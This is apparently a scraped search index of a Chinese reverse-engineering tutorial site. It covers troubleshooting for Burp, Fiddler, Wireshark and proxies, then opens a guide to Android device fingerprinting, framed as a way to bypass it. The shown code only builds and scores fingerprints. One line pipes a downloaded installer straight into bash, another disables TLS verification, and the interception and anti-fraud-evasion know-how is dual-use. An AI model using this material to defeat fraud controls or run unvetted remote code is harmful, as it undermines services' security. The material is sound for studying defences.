Firefox → Settings → Privacy \u0026 Security 2. Certificates → View Certificates → Import 3. 导入 Burp CA 证书 4. 勾选 \"Trust this CA to identify websites\" ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#2-firefox-特殊配置"},{"categories":null,"collections":null,"content":"Burp 拦截太多请求 问题: Proxy intercept 拦截了过多无关请求 解决方案: # 配置拦截规则 Proxy → Options → Intercept Client Requests # 添加规则,只拦截目标域名 And URL Is in target scope # 或添加白名单 And URL matches: ^https://target\\.com/.* ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:3","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#burp-拦截太多请求"},{"categories":null,"collections":null,"content":"Fiddler 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:3:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#fiddler-问题"},{"categories":null,"collections":null,"content":"无法捕获 HTTPS 流量 解决方案: 1. Tools → Options → HTTPS 2. 勾选 \"Capture HTTPS CONNECTs\" 3. 勾选 \"Decrypt HTTPS traffic\" 4. 点击 \"Actions\" → \"Trust Root Certificate\" 5. 重启 Fiddler ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:3:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#无法捕获-https-流量"},{"categories":null,"collections":null,"content":"代理冲突 问题: 与其他代理工具冲突 解决方案: # 1. 检查系统代理 netsh winhttp show proxy # Windows # 2. 重置系统代理 netsh winhttp reset proxy # 3. 关闭其他代理工具 # 如 Charles, Burp, Proxifier 等 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:3:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#代理冲突"},{"categories":null,"collections":null,"content":"Python 环境问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:4:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#python-环境问题"},{"categories":null,"collections":null,"content":"ModuleNotFoundError 问题: ModuleNotFoundError: No module named 'xxx' 解决方案: # 1. 检查是否安装 pip list | grep xxx # 2. 安装模块 pip install xxx # 3. 检查 Python 版本 python --version pip --version # 4. 如果有多个 Python 版本 python3 -m pip install xxx # 5. 使用虚拟环境 python -m venv venv source venv/bin/activate # Linux/Mac venv\\Scripts\\activate # Windows pip install -r requirements.txt ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:4:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#modulenotfounderror"},{"categories":null,"collections":null,"content":"SSL 证书验证失败 问题: SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] 解决方案: # 方法 1: 升级 certifi pip install --upgrade certifi # 方法 2: 在代码中禁用验证 (不推荐用于生产环境) import requests requests.get(url, verify=False) # 方法 3: 指定证书路径 import certifi requests.get(url, verify=certifi.where()) # 方法 4: 设置环境变量 import os os.environ['REQUESTS_CA_BUNDLE'] = '/path/to/ca-bundle.crt' ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:4:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#ssl-证书验证失败"},{"categories":null,"collections":null,"content":"编码问题 问题: UnicodeDecodeError 或 UnicodeEncodeError 解决方案: # 读取文件时指定编码 with open('file.txt', 'r', encoding='utf-8') as f: content = f.read() # 写入文件时指定编码 with open('file.txt', 'w', encoding='utf-8') as f: f.write(content) # 处理网络响应 response.encoding = 'utf-8' text = response.text # 或使用 chardet 自动检测 import chardet encoding = chardet.detect(response.content)['encoding'] text = response.content.decode(encoding) ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:4:3","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#编码问题"},{"categories":null,"collections":null,"content":"Node.js 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:5:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#nodejs-问题"},{"categories":null,"collections":null,"content":"npm 安装失败 问题: npm ERR! code EACCES 或下载超时 解决方案: # 1. 权限问题 (Linux/Mac) sudo chown -R $USER ~/.npm sudo chown -R $USER /usr/local/lib/node_modules # 2. 使用淘宝镜像 npm config set registry https://registry.npmmirror.com # 3. 清除缓存 npm cache clean --force # 4. 删除 node_modules 重新安装 rm -rf node_modules package-lock.json npm install # 5. 使用 cnpm npm install -g cnpm --registry=https://registry.npmmirror.com cnpm install ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:5:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#npm-安装失败"},{"categories":null,"collections":null,"content":"Node 版本问题 问题: 项目需要特定 Node 版本 解决方案: # 使用 nvm 管理多版本 # 安装 nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash # 安装特定版本 nvm install 18.17.0 nvm use 18.17.0 # 设置默认版本 nvm alias default 18.17.0 # 或使用 n npm install -g n n 18.17.0 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:5:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#node-版本问题"},{"categories":null,"collections":null,"content":"Postman 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:6:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#postman-问题"},{"categories":null,"collections":null,"content":"脚本执行错误 问题: Pre-request Script 或 Tests 脚本报错 解决方案: // 1. 检查语法 // Postman 使用受限的 JavaScript 环境 // 2. 常用功能示例 // 设置环境变量 pm.environment.set(\"token\", jsonData.token); // 发送请求 pm.sendRequest(\"https://api.example.com/data\", (err, res) =\u003e { if (err) { console.log(err); } else { console.log(res.json()); } }); // 使用 CryptoJS const encrypted = CryptoJS.MD5(\"message\").toString(); // 使用 moment.js const now = moment().format(); ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:6:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#脚本执行错误"},{"categories":null,"collections":null,"content":"请求失败 问题: 请求返回错误 解决方案: // 1. 检查代理设置 Settings → Proxy → 关闭 \"Use the system proxy\" // 2. 禁用 SSL 验证 (仅测试环境) Settings → General → 关闭 \"SSL certificate verification\" // 3. 添加详细日志 console.log(\"Request:\", pm.request); console.log(\"Response:\", pm.response); ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:6:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#请求失败"},{"categories":null,"collections":null,"content":"VS Code 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:7:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#vs-code-问题"},{"categories":null,"collections":null,"content":"Python IntelliSense 不工作 解决方案: ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:7:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#python-intellisense-不工作"},{"categories":null,"collections":null,"content":"调试配置 launch.json 示例: ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:7:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#调试配置"},{"categories":null,"collections":null,"content":"Git 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:8:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#git-问题"},{"categories":null,"collections":null,"content":"推送失败 问题: ! [rejected] ... (fetch first) 解决方案: # 1. 先拉取远程更改 git pull origin main # 2. 如果有冲突，解决后提交 git add . git commit -m \"Merge conflicts\" # 3. 推送 git push origin main # 强制推送 (谨慎使用) git push -f origin main ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:8:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#推送失败"},{"categories":null,"collections":null,"content":"大文件问题 问题: 文件过大无法提交 解决方案: # 1. 使用 Git LFS git lfs install git lfs track \"*.psd\" git add .gitattributes # 2. 从历史中移除大文件 git filter-branch --tree-filter 'rm -f large_file.zip' HEAD # 3. 使用 .gitignore echo \"*.log\" \u003e\u003e .gitignore echo \"data/\" \u003e\u003e .gitignore ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:8:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#大文件问题"},{"categories":null,"collections":null,"content":"Wireshark 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:9:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#wireshark-问题"},{"categories":null,"collections":null,"content":"无法捕获 HTTPS 内容 问题: 抓包只能看到加密流量 解决方案: # 1. 配置 SSL/TLS 密钥日志文件 # 设置环境变量 (Chrome/Firefox) export SSLKEYLOGFILE=~/sslkeys.log # Linux/Mac set SSLKEYLOGFILE=C:\\sslkeys.log # Windows # 2. 在 Wireshark 中配置 # Edit → Preferences → Protocols → TLS # (Pre)-Master-Secret log filename: 选择上面的文件 # 3. 重启浏览器后抓包,就能看到解密内容 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:9:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#无法捕获-https-内容"},{"categories":null,"collections":null,"content":"过滤规则 常用过滤器: # HTTP 请求 http.request # 特定域名 http.host contains \"example.com\" # 特定 IP ip.addr == 192.168.1.1 # 端口 tcp.port == 443 # 包含特定字符串 frame contains \"password\" ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:9:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#过滤规则"},{"categories":null,"collections":null,"content":"抓包工具配置 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:10:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#抓包工具配置"},{"categories":null,"collections":null,"content":"系统代理设置 Windows # 设置代理 netsh winhttp set proxy 127.0.0.1:8080 # 查看代理 netsh winhttp show proxy # 取消代理 netsh winhttp reset proxy macOS # 通过 networksetup sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 8080 sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 8080 # 关闭代理 sudo networksetup -setwebproxystate \"Wi-Fi\" off sudo networksetup -setsecurewebproxystate \"Wi-Fi\" off Linux # 设置环境变量 export http_proxy=\"http://127.0.0.1:8080\" export https_proxy=\"http://127.0.0.1:8080\" # 永久设置 (添加到 ~/.bashrc) echo 'export http_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc echo 'export https_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:10:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#系统代理设置"},{"categories":null,"collections":null,"content":"系统代理设置 Windows # 设置代理 netsh winhttp set proxy 127.0.0.1:8080 # 查看代理 netsh winhttp show proxy # 取消代理 netsh winhttp reset proxy macOS # 通过 networksetup sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 8080 sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 8080 # 关闭代理 sudo networksetup -setwebproxystate \"Wi-Fi\" off sudo networksetup -setsecurewebproxystate \"Wi-Fi\" off Linux # 设置环境变量 export http_proxy=\"http://127.0.0.1:8080\" export https_proxy=\"http://127.0.0.1:8080\" # 永久设置 (添加到 ~/.bashrc) echo 'export http_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc echo 'export https_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:10:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#windows"},{"categories":null,"collections":null,"content":"系统代理设置 Windows # 设置代理 netsh winhttp set proxy 127.0.0.1:8080 # 查看代理 netsh winhttp show proxy # 取消代理 netsh winhttp reset proxy macOS # 通过 networksetup sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 8080 sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 8080 # 关闭代理 sudo networksetup -setwebproxystate \"Wi-Fi\" off sudo networksetup -setsecurewebproxystate \"Wi-Fi\" off Linux # 设置环境变量 export http_proxy=\"http://127.0.0.1:8080\" export https_proxy=\"http://127.0.0.1:8080\" # 永久设置 (添加到 ~/.bashrc) echo 'export http_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc echo 'export https_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:10:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#macos"},{"categories":null,"collections":null,"content":"系统代理设置 Windows # 设置代理 netsh winhttp set proxy 127.0.0.1:8080 # 查看代理 netsh winhttp show proxy # 取消代理 netsh winhttp reset proxy macOS # 通过 networksetup sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 8080 sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 8080 # 关闭代理 sudo networksetup -setwebproxystate \"Wi-Fi\" off sudo networksetup -setsecurewebproxystate \"Wi-Fi\" off Linux # 设置环境变量 export http_proxy=\"http://127.0.0.1:8080\" export https_proxy=\"http://127.0.0.1:8080\" # 永久设置 (添加到 ~/.bashrc) echo 'export http_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc echo 'export https_proxy=\"http://127.0.0.1:8080\"' \u003e\u003e ~/.bashrc ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:10:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#linux"},{"categories":null,"collections":null,"content":"相关章节 Burp Suite 指南 Chrome DevTools Node.js 调试 常用命令 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:11:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#相关章节"},{"categories":null,"collections":null,"content":"设备指纹技术深度解析与绕过策略 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 使用 Hook 修改指纹信息 Android 四大组件 - 理解系统 API 调用 设备指纹 (Device Fingerprinting) 是指通过采集设备的软硬件特征，生成一个能够唯一标识该设备的、具有高熵值和稳定性的 ID 的过程。在当今的互联网服务中，它已成为反欺诈、反机器人、用户行为追踪和安全风控的基石技术。 绕过设备指纹并非简单地修改一两个参数，而是要创造一个完整的、逻辑自洽的、可信的虚拟设备\"画像\"。本指南将系统性地拆解主流的指纹采集维度，并探讨与之对应的核心绕过技术。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:0:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#设备指纹技术深度解析与绕过策略"},{"categories":null,"collections":null,"content":"设备指纹的工作原理 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#设备指纹的工作原理"},{"categories":null,"collections":null,"content":"指纹生成算法 设备指纹的生成并非简单地将所有采集到的信息拼接在一起，而是通过复杂的算法处理，确保生成的指纹具有唯一性、稳定性和不可逆性。 基本流程 对采集到的原始数据进行预处理： 格式统一: 将不同格式的数据转换为标准格式（如MAC地址统一为小写、去除分隔符） 缺失值处理: 对无法获取的字段使用默认值或特殊标记 权重分配: 根据稳定性和唯一性给不同维度分配权重 特征组合 - 将处理后的数据按照预定规则组合： # 概念代码 fingerprint_input = { 'hardware': { 'android_id': 'abc123', 'imei': '867530900000000', 'mac': '00:11:22:33:44:55' }, 'software': { 'model': 'Pixel 6', 'sdk': 33, 'fingerprint': 'google/raven/raven:...' }, 'environment': { 'screen': '1080x2400', 'dpi': 420, 'timezone': 'Asia/Shanghai' } } import hashlib import json def generate_fingerprint(data): # 数据转为JSON字符串（确保顺序一致） json_str = json.dumps(data, sort_keys=True) # 计算SHA256 fingerprint = hashlib.sha256(json_str.encode()).hexdigest() return fingerprint 算法 输出长度 特点 适用场景 MD5 128位 速度快，但安全性低 低安全要求场景 SHA-256 256位 安全性高，计算稍慢 金融、高安全场景 MurmurHash 可变 速度极快，适合非加密 大规模数据处理 xxHash 可变 性能优异 实时计算场景 高级技术 1. 模糊Hash (Fuzzy Hashing) 允许设备指纹在细微变化时仍能匹配。使用 SimHash、MinHash 等算法： def simhash(features, hash_bits=64): \"\"\" 将特征向量转换为 SimHash 值 相似特征会产生相似的Hash值 \"\"\" v = [0] * hash_bits for feature, weight in features.items(): h = hash(feature) for i in range(hash_bits): if h \u0026 (1 \u003c\u003c i): v[i] += weight else: v[i] -= weight fingerprint = 0 for i in range(hash_bits): if v[i] \u003e= 0: fingerprint |= (1 \u003c\u003c i) return fingerprint 2. 分层指纹 一级指纹（硬件指纹）: 基于IMEI、Android ID等硬件ID 二级指纹（系统指纹）: 基于系统版本、设备型号等 三级指纹（环境指纹）: 基于网络、行为等临时特征 def generate_tiered_fingerprint(data): # 一级指纹：硬件ID tier1 = hashlib.sha256( f\"{data['imei']}|{data['android_id']}\".encode() ).hexdigest() # 二级指纹：系统特征 tier2 = hashlib.sha256( f\"{tier1}|{data['model']}|{data['sdk']}\".encode() ).hexdigest() # 三级指纹：完整特征 tier3 = hashlib.sha256( json.dumps(data, sort_keys=True).encode() ).hexdigest() return { 'strong': tier1, 'medium': tier2, 'weak': tier3 } 3. 机器学习特征提取 使用 PCA（主成分分析）提取关键特征 使用聚类算法识别异常设备 使用深度学习模型生成设备嵌入向量（Embedding） ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#指纹生成算法"},{"categories":null,"collections":null,"content":"指纹生成算法 设备指纹的生成并非简单地将所有采集到的信息拼接在一起，而是通过复杂的算法处理，确保生成的指纹具有唯一性、稳定性和不可逆性。 基本流程 对采集到的原始数据进行预处理： 格式统一: 将不同格式的数据转换为标准格式（如MAC地址统一为小写、去除分隔符） 缺失值处理: 对无法获取的字段使用默认值或特殊标记 权重分配: 根据稳定性和唯一性给不同维度分配权重 特征组合 - 将处理后的数据按照预定规则组合： # 概念代码 fingerprint_input = { 'hardware': { 'android_id': 'abc123', 'imei': '867530900000000', 'mac': '00:11:22:33:44:55' }, 'software': { 'model': 'Pixel 6', 'sdk': 33, 'fingerprint': 'google/raven/raven:...' }, 'environment': { 'screen': '1080x2400', 'dpi': 420, 'timezone': 'Asia/Shanghai' } } import hashlib import json def generate_fingerprint(data): # 数据转为JSON字符串（确保顺序一致） json_str = json.dumps(data, sort_keys=True) # 计算SHA256 fingerprint = hashlib.sha256(json_str.encode()).hexdigest() return fingerprint 算法 输出长度 特点 适用场景 MD5 128位 速度快，但安全性低 低安全要求场景 SHA-256 256位 安全性高，计算稍慢 金融、高安全场景 MurmurHash 可变 速度极快，适合非加密 大规模数据处理 xxHash 可变 性能优异 实时计算场景 高级技术 1. 模糊Hash (Fuzzy Hashing) 允许设备指纹在细微变化时仍能匹配。使用 SimHash、MinHash 等算法： def simhash(features, hash_bits=64): \"\"\" 将特征向量转换为 SimHash 值 相似特征会产生相似的Hash值 \"\"\" v = [0] * hash_bits for feature, weight in features.items(): h = hash(feature) for i in range(hash_bits): if h \u0026 (1 \u003c\u003c i): v[i] += weight else: v[i] -= weight fingerprint = 0 for i in range(hash_bits): if v[i] \u003e= 0: fingerprint |= (1 \u003c\u003c i) return fingerprint 2. 分层指纹 一级指纹（硬件指纹）: 基于IMEI、Android ID等硬件ID 二级指纹（系统指纹）: 基于系统版本、设备型号等 三级指纹（环境指纹）: 基于网络、行为等临时特征 def generate_tiered_fingerprint(data): # 一级指纹：硬件ID tier1 = hashlib.sha256( f\"{data['imei']}|{data['android_id']}\".encode() ).hexdigest() # 二级指纹：系统特征 tier2 = hashlib.sha256( f\"{tier1}|{data['model']}|{data['sdk']}\".encode() ).hexdigest() # 三级指纹：完整特征 tier3 = hashlib.sha256( json.dumps(data, sort_keys=True).encode() ).hexdigest() return { 'strong': tier1, 'medium': tier2, 'weak': tier3 } 3. 机器学习特征提取 使用 PCA（主成分分析）提取关键特征 使用聚类算法识别异常设备 使用深度学习模型生成设备嵌入向量（Embedding） ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#基本流程"},{"categories":null,"collections":null,"content":"指纹生成算法 设备指纹的生成并非简单地将所有采集到的信息拼接在一起，而是通过复杂的算法处理，确保生成的指纹具有唯一性、稳定性和不可逆性。 基本流程 对采集到的原始数据进行预处理： 格式统一: 将不同格式的数据转换为标准格式（如MAC地址统一为小写、去除分隔符） 缺失值处理: 对无法获取的字段使用默认值或特殊标记 权重分配: 根据稳定性和唯一性给不同维度分配权重 特征组合 - 将处理后的数据按照预定规则组合： # 概念代码 fingerprint_input = { 'hardware': { 'android_id': 'abc123', 'imei': '867530900000000', 'mac': '00:11:22:33:44:55' }, 'software': { 'model': 'Pixel 6', 'sdk': 33, 'fingerprint': 'google/raven/raven:...' }, 'environment': { 'screen': '1080x2400', 'dpi': 420, 'timezone': 'Asia/Shanghai' } } import hashlib import json def generate_fingerprint(data): # 数据转为JSON字符串（确保顺序一致） json_str = json.dumps(data, sort_keys=True) # 计算SHA256 fingerprint = hashlib.sha256(json_str.encode()).hexdigest() return fingerprint 算法 输出长度 特点 适用场景 MD5 128位 速度快，但安全性低 低安全要求场景 SHA-256 256位 安全性高，计算稍慢 金融、高安全场景 MurmurHash 可变 速度极快，适合非加密 大规模数据处理 xxHash 可变 性能优异 实时计算场景 高级技术 1. 模糊Hash (Fuzzy Hashing) 允许设备指纹在细微变化时仍能匹配。使用 SimHash、MinHash 等算法： def simhash(features, hash_bits=64): \"\"\" 将特征向量转换为 SimHash 值 相似特征会产生相似的Hash值 \"\"\" v = [0] * hash_bits for feature, weight in features.items(): h = hash(feature) for i in range(hash_bits): if h \u0026 (1 \u003c\u003c i): v[i] += weight else: v[i] -= weight fingerprint = 0 for i in range(hash_bits): if v[i] \u003e= 0: fingerprint |= (1 \u003c\u003c i) return fingerprint 2. 分层指纹 一级指纹（硬件指纹）: 基于IMEI、Android ID等硬件ID 二级指纹（系统指纹）: 基于系统版本、设备型号等 三级指纹（环境指纹）: 基于网络、行为等临时特征 def generate_tiered_fingerprint(data): # 一级指纹：硬件ID tier1 = hashlib.sha256( f\"{data['imei']}|{data['android_id']}\".encode() ).hexdigest() # 二级指纹：系统特征 tier2 = hashlib.sha256( f\"{tier1}|{data['model']}|{data['sdk']}\".encode() ).hexdigest() # 三级指纹：完整特征 tier3 = hashlib.sha256( json.dumps(data, sort_keys=True).encode() ).hexdigest() return { 'strong': tier1, 'medium': tier2, 'weak': tier3 } 3. 机器学习特征提取 使用 PCA（主成分分析）提取关键特征 使用聚类算法识别异常设备 使用深度学习模型生成设备嵌入向量（Embedding） ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#高级技术"},{"categories":null,"collections":null,"content":"熵值与稳定性 好的设备指纹需要在唯一性（高熵值）和稳定性之间找到平衡。 熵值计算 熵值衡量一个特征的信息量和区分能力： import math from collections import Counter def calculate_entropy(values): \"\"\" 计算一个特征的香农熵 熵值越高，说明该特征区分能力越强 \"\"\" total = len(values) counter = Counter(values) entropy = 0 for count in counter.values(): p = count / total entropy -= p * math.log2(p) return entropy # 示例 android_ids = ['id1', 'id2', 'id3', ...] # 采集的数据 entropy = calculate_entropy(android_ids) print(f\"Android ID 熵值: {entropy} bits\") 特征 熵值 唯一性 稳定性 Android ID 60+ bits 高 中（恢复出厂会变） MAC 地址 48 bits 高 中（越来越难获取） 设备型号 8-10 bits 低 高 屏幕分辨率 6-8 bits 低 高 传感器列表 15-20 bits 中 高 稳定性评估 稳定性指的是设备在不同时间点、不同环境下生成的指纹一致性： def stability_score(fingerprints): \"\"\" 评估同一设备在不同时间生成的指纹稳定性 fingerprints: 同一设备多次生成的指纹列表 \"\"\" if len(fingerprints) \u003c 2: return 1.0 # 计算指纹之间相似度 base = fingerprints[0] similarities = [] for fp in fingerprints[1:]: # Hamming 距离 diff = sum(c1 != c2 for c1, c2 in zip(base, fp)) similarity = 1 - (diff / len(base)) similarities.append(similarity) return sum(similarities) / len(similarities) def quality_score(entropy, stability, coverage): \"\"\" 计算指纹方案质量分数 entropy: 熵值 (0-100) stability: 稳定性 (0-1) coverage: 设备覆盖率 (0-1) \"\"\" # 加权计算 score = ( entropy * 0.4 + # 唯一性权重 40% stability * 50 * 0.4 + # 稳定性权重 40% coverage * 100 * 0.2 # 覆盖率权重 20% ) return score ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#熵值与稳定性"},{"categories":null,"collections":null,"content":"熵值与稳定性 好的设备指纹需要在唯一性（高熵值）和稳定性之间找到平衡。 熵值计算 熵值衡量一个特征的信息量和区分能力： import math from collections import Counter def calculate_entropy(values): \"\"\" 计算一个特征的香农熵 熵值越高，说明该特征区分能力越强 \"\"\" total = len(values) counter = Counter(values) entropy = 0 for count in counter.values(): p = count / total entropy -= p * math.log2(p) return entropy # 示例 android_ids = ['id1', 'id2', 'id3', ...] # 采集的数据 entropy = calculate_entropy(android_ids) print(f\"Android ID 熵值: {entropy} bits\") 特征 熵值 唯一性 稳定性 Android ID 60+ bits 高 中（恢复出厂会变） MAC 地址 48 bits 高 